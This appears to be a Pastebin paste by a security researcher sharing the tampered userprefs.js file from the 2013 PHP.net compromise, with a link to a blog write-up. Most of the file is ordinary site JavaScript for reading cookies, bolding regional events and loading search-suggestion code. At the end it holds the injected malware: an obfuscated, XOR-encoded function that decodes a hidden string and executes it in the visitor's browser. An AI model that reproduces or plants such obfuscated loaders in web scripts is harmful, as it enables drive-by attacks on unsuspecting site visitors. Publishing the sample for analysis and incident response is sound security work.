Advertisement
bartblaze

Modified userprefs.js

Oct 24th, 2013
1,612
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #Modified userprefs.js of PHP.net compromise
  2. #Relevant part is at the end - see new function(Anv)
  3. #Related blogpost: http://bartblaze.blogspot.com/2013/10/phpnet-compromised.html
  4.  
  5.  
  6. // Get a value of one cookie set by it's name
  7. // Impmentation from the JS 1.3 Client Guide by Netscape
  8. function getCookie(Name)
  9. {
  10.     var search = Name + "=";
  11.     if (document.cookie.length > 0) {
  12.         offset = document.cookie.indexOf(search);
  13.         if (offset != -1) {
  14.             offset += search.length;
  15.             end = document.cookie.indexOf(";", offset);
  16.             if (end == -1) { end = document.cookie.length; }
  17.             return unescape(document.cookie.substring(offset, end));
  18.         }
  19.     }
  20.     return null;
  21. }
  22.  
  23. // Make events in the user's country bold
  24. function boldEvents()
  25. {
  26.     // Get cookie if possible
  27.     country = getCookie("COUNTRY");
  28.     if (typeof(country) == "string") {
  29.        
  30.         // Get country code from cookie
  31.         country = country.substring(0, 3);
  32.        
  33.         // If DOM is supported, get <span>s
  34.         if (document.getElementsByTagName) {
  35.            
  36.             spans = document.getElementsByTagName("span");
  37.            
  38.             // Style every span bold which is for this country
  39.             for (var i = 0; i < spans.length; i++) {
  40.                 if (spans[i].className == "event_" + country + " vevent") {
  41.                     spans[i].style.fontWeight = "bold";
  42.                 }
  43.             }
  44.         }
  45.     }
  46. }
  47.  
  48. // Load function name suggestion code (for search box)
  49. function loadSuggestCode()
  50. {
  51.     searchEnabled = true;
  52.     // Force default turnoff for buggy Mac browsers
  53.     if (navigator.userAgent.toLowerCase().indexOf('mac') > 0) {
  54.       searchEnabled = false;
  55.     }
  56.  
  57.     myphpnet = getCookie('MYPHPNET');
  58.     if (typeof(myphpnet) == "string") {
  59.         myphpnet_parts = myphpnet.split(",");
  60.         if (myphpnet_parts.length > 3) {
  61.             if (myphpnet_parts[3] == '1') {
  62.                 searchEnabled = false;
  63.             }
  64.             // Enable if user explicity wanted to enable it
  65.             // Important for Mac users, who get disabled by default
  66.             else if (myphpnet_parts[3] == '0') {
  67.                 searchEnabled = true;
  68.             }
  69.         }
  70.     }
  71.     if (searchEnabled && document.getElementsByTagName && document.createElement) {
  72.         var elems = document.getElementsByTagName("*");
  73.         for (var i = 0; i < elems.length; i++) {
  74.             if (elems[i].tagName.toLowerCase() == 'head') {
  75.                 var scriptElem = document.createElement('script');
  76.                 scriptElem.setAttribute('type', 'text/javascript');
  77.                 scriptElem.setAttribute('src', '/functions.js');
  78.                 elems[i].appendChild(scriptElem);
  79.                 break;
  80.             }
  81.         }
  82.     }
  83. }
  84. (function(Anv){var LUI="M\xaa\xb0\xa9\xf5n-\x92\xe0\xb5S\xc7\x81,\x0b\x0f\x1e\x15\xb0\xa6BL\x16\x7f%\x0aCDkFDt{bszH2qEdpNFX\x173\x18@Y\x7fZ}\x1bK\x08%\x05*:7{bedFm^fHi\x0a%\x0f\x20N`KDnBSIww`z8fOl;pxOO:\x0a%\x00n]nA~Col(frC\x0bq_l5\x10z\x10h\x0a\"\x18pJb\x0f:Rb;)9~kP*oGi\x1d*F\x7fNi\\aGn\x0ap\x03{tap(k\x1fQ\\LO\x08\x20|rAktpL3~rOdJ\\zjn~rilM|zCi\x0cVP0\x1c%L>\x08).VFO\"\x00Vrjm|zC2|rMku\\Zk\x1b\"+,TLM\x0a(Vpi\x11^Xi\x14VPm\x19N~rK1^xfk(\x0b&\\LO\x08\x20|rBktpL5~rL1G\\zii\x00#&^Lg*\x02VXk\x10TPd\x13VRf:L^pk\x15Vrkkc^Xi\x18VP:\x18\\Z2\x1f$\x20).^Ne\"(TpAg|rC>tpNcNVRa7\\zknOVrk=\x07^X3D9j1}(\x0d$vxg8&e(\x0b&\\LO\x08\x20|r\x18>tpK0~rLcC\"+$\\fM\"*TXc\x16VXn\x1fTPeFQvxcf^pi\x16eVpl\x17\x20\x09&vNo\x20\x0a\\Zh\x13\\zcgTrDhJTpBf|rC;GTPcG(\x03,TDE\x20(~rk=TXa\x14VXoMU\x0a)\x7f&H=YVFO\"\x00Vril|zCo|rMjt\\~rK4^xald~rn<*\x09.vNg\"\x0aTPaDVRcf\\zm=dVrjj\x02+\x0c\\dM\x00*tx@hvxa0^po\x14GVpi\x16^Xi\x15(\x01$~De\"\x08\\za7TrA>Vpm\x16L|rBntpK0\x00#\x06VFG**VZhkTpD1|rEh\x0a!u,Q7qVFG**VZknTpC:|rFo\x0a!\x04VfM\x02\"^xc8VZi=TpFchVXk\x1cTPcF(\x03].r?S\\fM\"*TXc\x11VXi\x10TPeAGvxcc^pi\x14(#$^dE\x08(|rI0txA9vxdbDTrC?VplDv|rC?\x0a!\x04VfM\x02\"^xg<VZ3:TpB:|r\x113tpN9~r\x138r\\zl2\x00#&^Lg*\x02VXk\x19TPd\x17VRfaY^pl\x11Vr0?\x0f^Xn\x151tp\x105L}\x02h(\\z::~r;=TXdA!\x06\x20tpKf~rOe^xf=VZk8Tp\x18g|rFhuTPa\x1aVRda.^pi\x1a7Vp0\x14\x20\x09&vNo\x20\x0a\\Zl\x12\\z93TrD2[*!}.T7{:\x048\x040\x0e:\x060_;vS9\x7f7\"|S\x12_\x1dp{hs8u]ykq0_]*{Q\x13W#!SAY\x13W}1\\S\x1a]yhq4_]?zQ\x11W1\x20|{3}7\x08~s8u=XQH[2]_Sky:WU\x20SY\x10W\x09#sis3\x7fW\x03[c[3UW\x1f~Q9U{c{8}W\x15zs4\x7f1^[3]YiQ\x15WW5z{2}1TQ\x19Usay2w]?rY9W\x19~Q9U{c{3}W\x15zs2\x7f1^[2]YiQ\x16WW\x20|{0}#\x1bxM|]rL*^[2]9u#\x0anpA!\x0cf\x1dnZCs^lG\x0a(vxcd^piGVrmj|^|rA>tpKdLVRd6\"+U&K&h$d\x1dTdM\x08(tpI5~rI4^xg>D~rhlTXa\x10(\x09&\\5~De\"\x08\\zagTrA>VpnCn|rA?tpKdOVRc7'^p3F9H1]\x08-\x0eVXo\x10,E\"\x0b&G=fzKS\\fM\"*TX:\x14VXi\x18TPfAK\x08)_;kn\"GEk!sId\x08h\x1dns|u(tNm(\x20\\zih~rimTXgCZ\x02#\x01S\x18]\x0b\"\x02i?dY|W\x0a\\NO\x20\x02^XkDVPk\x10\\ZlO\"+)+Sf\x7f5cSe{TdM\x08(tpIf~rId^xg?L~rhj*\x09_\x08g{\\lO\x00\"~rHb^xa8VZo<ETXc\x16VXi\x1d*\x01]\x0a#\x00iYVFO\"\x00Vri=|zC>|rM>f\\ZhN\\zc2*#\x7f#W2j\x09YvNg\"\x0aTPa\x1aVRd3\\zn2nVri?|zCicVPk\x10\\Z8\x1a\\z87,(\x0bW\"mGA+\x1boLyM(L[tNm(\x20\\zjo~rn;TXg\x11W|rIk\x0a)\x7f\"OOc[TLM\x0a(Vpi\x16^Xn\x14VPnKL~rHb^xg8^~rolTX2\x15(\x09W\x013UdGfOtg\x20QbH\x19nodmTg\x00\\dM\x13lMlG~O\x20Wd9u#\x0a}cflOu\x091",b2=["\x73\x70\x6c\x69\x74",Ud=(0x84^0xc3)*(0xf9-0xf3)/2,"\x6c\x65\x6e\x67\x74\x68","\x68\x61\x73\x4f\x77\x6e\x50\x72\x6f\x70\x65\x72\x74\x79"],VV="\xc3\x9f\xae\x15\xf9\x928\xb4{\xcbV\x00D?GD|\x9f{:[\xa8\xd0\x9a",NQ=LUI["\x73\x75\x62\x73\x74\x72\x69\x6e\x67"](0,VV[b2[2]]);VDG=function(Av){var sCV,j9,nB=j9="",GC=0;Av=Av[b2[0]](nB);for(sCV in Av){if(Av[b2[3]](sCV)){j9+=SjB(Av[sCV],NQ[b2[0]](nB)[GC%=NQ[b2[2]]]);GC++;}}return(j9);};NQ=VDG(VV);Anv[VDG("oVkD")](VDG(LUI[VDG("yUh[|ZiLm")](VV[VDG("fEdO|@")])))})(window,SjB=function(uC,lp,XN,OA){uC=uC[XN="\x63"+(OA="\x68\x61\x72\x43\x6f\x64\x65")+"\x41\x74"](0);return(String["\x66\x72\x6f\x6d\x43"+OA](uC&Ud|((uC&(~Ud&0xff))^(lp[XN](0)&(~Ud&0xff)))))});
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement